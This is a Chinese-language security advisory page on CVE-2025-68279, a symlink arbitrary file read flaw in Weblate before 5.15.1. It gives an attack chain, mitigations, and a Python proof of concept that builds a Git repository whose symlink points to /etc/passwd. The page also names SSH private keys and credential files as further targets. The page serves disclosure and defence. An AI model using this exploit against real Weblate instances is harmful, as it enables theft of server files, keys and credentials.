IPBUF安全漏洞报告
English
CVE-2025-68279 CVSS 7.7 高危

CVE-2025-68279: Weblate符号链接任意文件读取漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-68279
漏洞类型
任意文件读取
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Weblate

相关标签

任意文件读取符号链接WeblateCVE-2025-68279高危漏洞路径遍历本地化工具Git安全

漏洞概述

CVE-2025-68279是Weblate项目中一个高危的任意文件读取漏洞。Weblate是一款流行的基于Web的开源本地化/翻译管理工具。该漏洞影响5.15.1之前的所有版本,CVSS评分达到7.7分,属于高危级别。漏洞的核心问题在于Weblate在处理Git仓库时,对符号链接(symlink)的处理存在安全缺陷。攻击者可以通过在仓库中植入精心构造的符号链接,利用Weblate的仓库克隆和文件访问功能,突破目录限制读取服务器上的任意文件,包括配置文件、密钥、凭据等敏感信息。由于该漏洞利用门槛较低(只需低权限账户),且无需用户交互即可实现攻击,因此对使用Weblate进行多语言翻译管理的组织构成严重威胁。攻击成功后可能导致敏感数据泄露、凭据窃取,甚至进一步横向移动。

技术细节

该漏洞的根本原因在于Weblate处理Git仓库时缺乏对符号链接的安全校验。当Weblate克隆或更新一个Git仓库时,它会解析仓库中的所有符号链接并访问其指向的目标文件。攻击者可以在恶意仓库中创建指向系统敏感文件的符号链接,例如:1) 创建指向/etc/passwd的符号链接,读取系统用户信息;2) 创建指向Weblate配置目录的符号链接,获取数据库凭据和密钥;3) 创建指向SSH私钥的符号链接,获取服务器访问权限。Weblate在5.15.1版本中通过添加符号链接安全检查和路径验证机制修复了此问题。修复措施包括:在处理符号链接前验证目标路径是否在允许的目录范围内,阻止指向仓库外部的符号链接,并对符号链接的目标进行递归检查以防止多层嵌套绕过。攻击者只需创建一个包含恶意符号链接的Git仓库,诱导Weblate处理该仓库即可触发漏洞,无需特殊权限或用户交互。

攻击链分析

STEP 1
步骤1
攻击者创建恶意Git仓库,在仓库中创建指向目标系统文件的符号链接(如/etc/passwd、SSH私钥、Weblate配置文件等)
STEP 2
步骤2
攻击者将恶意仓库推送到Git托管服务(如GitHub、GitLab)或直接提供给目标Weblate实例
STEP 3
步骤3
攻击者诱使目标Weblate实例处理该恶意仓库(通过添加组件、触发更新或仓库同步操作)
STEP 4
步骤4
Weblate克隆仓库时解析符号链接,访问符号链接指向的目标文件内容
STEP 5
步骤5
攻击者通过Weblate界面、API或日志获取读取的文件内容,实现任意文件读取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68279 PoC: Weblate Arbitrary File Read via Symlink This PoC demonstrates creating a malicious repository with symlink to read arbitrary files. """ import os import subprocess import tempfile def create_malicious_repo(target_file, output_dir): """ Create a Git repository with a symlink pointing to target_file. Args: target_file: The file on the server we want to read (e.g., '/etc/passwd') output_dir: Directory to create the malicious repository """ os.makedirs(output_dir, exist_ok=True) os.chdir(output_dir) # Initialize git repo subprocess.run(['git', 'init'], check=True, capture_output=True) subprocess.run(['git', 'config', 'user.email', '[email protected]'], check=True, capture_output=True) subprocess.run(['git', 'config', 'user.name', 'Attacker'], check=True, capture_output=True) # Create symlink to target file # In a real attack, this would be pushed to a repository the target Weblate instance processes symlink_path = os.path.join(output_dir, 'readme.txt') if os.path.exists(symlink_path): os.remove(symlink_path) try: os.symlink(target_file, symlink_path) print(f'[+] Created symlink: {symlink_path} -> {target_file}') except OSError as e: print(f'[-] Failed to create symlink: {e}') return False # Add and commit subprocess.run(['git', 'add', '.'], check=True, capture_output=True) subprocess.run(['git', 'commit', '-m', 'Add symlink to sensitive file'], check=True, capture_output=True) print(f'[+] Malicious repository created in: {output_dir}') print(f'[+] Target file: {target_file}') print(f'[+] After Weblate processes this repo, check the file content in the Weblate interface') return True def main(): # Configuration target_file = '/etc/passwd' # Can be changed to any file readable by Weblate process output_dir = tempfile.mkdtemp(prefix='cve_2025_68279_') print('=' * 60) print('CVE-2025-68279 PoC: Weblate Arbitrary File Read') print('=' * 60) # Create malicious repository success = create_malicious_repo(target_file, output_dir) if success: print('\n[*] Next steps for exploitation:') print(f' 1. Push the repository in {output_dir} to a Git hosting service') print(' 2. Add this repository to target Weblate instance') print(' 3. Trigger repository update/pull in Weblate') print(' 4. View the file content through Weblate\'s file browser or translation interface') print('\n[*] Note: This PoC creates the symlink locally.') print(' In real attack, the symlink is pushed to remote repo Weblate will clone.') return 0 if success else 1 if __name__ == '__main__': exit(main())

影响范围

Weblate < 5.15.1

防御指南

临时缓解措施
立即将Weblate升级到5.15.1版本以修复该漏洞。如果暂时无法升级,可以采取以下临时缓解措施:1) 限制Weblate服务账户的文件系统权限,确保其只能访问必要的目录;2) 禁用或严格限制符号链接的创建和解析功能;3) 对所有导入的Git仓库进行安全扫描,检测是否存在可疑的符号链接;4) 限制用户提交仓库的权限,只允许从经过安全审查的仓库源拉取内容;5) 监控Weblate进程的文件访问日志,及时发现异常的文件读取行为。建议在完成升级前,暂停处理来自不可信来源的Git仓库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表